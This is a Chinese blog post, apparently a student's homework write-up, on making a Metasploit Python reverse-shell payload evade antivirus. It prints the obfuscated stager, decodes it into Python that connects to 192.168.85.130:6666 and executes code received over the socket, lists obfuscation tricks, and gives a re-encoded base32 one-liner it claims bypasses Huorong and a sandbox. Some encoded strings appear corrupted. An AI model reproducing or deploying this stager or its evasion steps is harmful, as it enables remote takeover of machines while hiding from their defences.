| 关键词: 这里 然后 一下 最后 import LNOBXXE 所以 连接 代码 就是 |
对于msf生成的shellcode都是一样的。 所以从代码层面来讲来说,不论是什么语言的实现,最后的代码实现的逻辑都是一样的,由于对于java并不了解,但听懂了课堂代码的逻辑,就是先循环饶了了几次然后再建立连接小马拉大马,后参考了群里其他同学作业后得此下文! 因为自己有一定python基础 所以这里对python的源码免杀来进行浅显的分析: 首先我们msf生成一个python的马: 可以看到落地火绒报毒: 看下源码: ``` exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1Cwujqvtdb1U97roatdKKrb8EUnzF27ZBFODUuMTMwJyw2NjY2KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0])) ``` 所以payload是: 简单处理一下: ``` import socket,zlib,base64,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('192.168.85.130',6666)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(zlib.decompress(base64.b64decode(d)),{'s':s}) ``` 简单分析一波: import一些模块进行b64解码&utf-8解码,解码里面的base64然后执行,这里用到的就是__import__内置函数来进行引用 代码的大概意思就是 循环10次尝试建立socket连接,成功就连接成功传数据,最后break,异常就sleep(5)秒然后继续建立连接 后面的代码 涉及到网络编程,不太了解,暂时搁置,这阵子了解一下网络编程后再来看 这里的话我感觉也可以改一下编码,但是不知道能否实行 所以这里就是一个基础的msf-pyhton的payload 基本上就是编码了一下然后直接建立连接,那么这里的话免杀思路如下: 1.改一下编码方式,最直接的 2.把木马里面的函数用不同方式实现 3.在木马里加点费功能混淆一下 4.函数名啥了改改,”特征值得改一下“,一些可以改的参数就改成自己的 (就跟抄作业似的,最后实现的功能都是一样的,你抄了别人的,你不能全抄把,哪不合适,就改改呗,嗯,改改呗,让杀软老师以为你是自己写的,不是抄msf的就行了,就给你过了) 所以我们这里的话 (\t)这里是因为我懒得替换了 为了一会好整成一行 (手动狗头) 我就简单做了这种混淆,然后整合回一行,然后最外面的编码我们用base32 NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY38EL9PSypgsoxPWZ4B4azon5wN6H1DHhkZIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ= 最后的payload: exec(__import__('base64').b32decode(__import__('codecs').getencoder('utf-8')('NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY35NaXQM3nBSKAhcm6NGzkUmZtT35gBhbqXIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=')[0])) 设置好监听和载荷(这里payload一定要选对,因为我才接触msf不久,选错监听,老不上线,哭死) 木马成功上线 最后测试木马免杀效果 Good 然后给沙箱 其余的我就不测了,360大概率也过 最后总结: 经过这个实验吧,虽然也不是自己的思路,也算是鹦鹉学舌,但是最后总算是做出来了,免杀初体验挺好的,虽然很多概念都不清楚,但是初体验很好,多看文章多动手,继续努力! |
| 本文出处: https://cloud.tencent.com/developer/article/1907839 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|